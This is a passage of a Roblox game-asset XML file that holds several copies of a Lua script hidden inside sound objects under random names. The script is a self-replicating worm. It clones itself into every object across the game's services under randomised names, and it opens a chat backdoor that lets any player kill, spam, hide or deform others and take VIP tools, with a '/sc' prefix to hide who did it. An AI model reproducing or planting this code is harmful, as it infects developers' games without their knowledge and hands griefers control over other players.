local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Humanoid" referent="RBX340">
						<Properties>
							<float name="Health">100</float>
							<bool name="Jump">false</bool>
							<float name="MaxHealth">100</float>
							<string name="Name">Humanoid</string>
							<bool name="Sit">false</bool>
							<bool name="Strafe">false</bool>
							<Vector3 name="TargetPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="WalkDirection">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="WalkRotationalVelocity">0</float>
							<float name="WalkSpeed">16</float>
							<Ref name="WalkToPart">null</Ref>
							<Vector3 name="WalkToPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX341">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">4gadbh</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX342">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ozpet</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX343">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ca6o1gdpy</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX344">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">34jr5f8</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
